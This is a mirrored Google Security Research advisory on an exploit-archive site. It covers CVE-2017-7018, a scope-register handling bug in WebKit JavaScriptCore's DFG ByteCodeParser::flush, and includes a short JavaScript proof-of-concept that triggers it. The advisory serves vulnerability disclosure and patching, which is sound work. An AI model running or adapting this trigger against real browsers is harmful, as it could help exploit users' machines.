Lucene search

K
zdtGoogle Security Research1337DAY-ID-28184
HistoryJul 25, 2017 - 12:00 a.m.

WebKit JSC Incorrect Scope Register Handling Vulnerability

2017-07-2500:00:00
Google Security Research
0day.today
15

0.061 Low

EPSS

Percentile

92.7%

WebKit suffers from a JSC incorrect scope register handling in DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry).

WebKit: JSC: Incorrect scope register handling in DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry) 

CVE-2017-7018


Here's a snippet of DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry).

void flush(InlineStackEntry* inlineStackEntry)
{
  ...
    if (m_graph.needsScopeRegister())
        flush(m_codeBlock->scopeRegister()); <<--- (a)
}

At (a), it should flush the scope register of |inlineStackEntry->m_codeBlock| instead of |m_codeBlock|. But it doesn't. As a result, the scope register of |inlineStackEntry->m_codeBlock| may have an incorrect offset in the stack layout phase.

PoC:
function f() {
    (function () {
      eval('1');
      f();
    }());

    throw 1;
}

f();



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

#  0day.today [2018-02-19]  #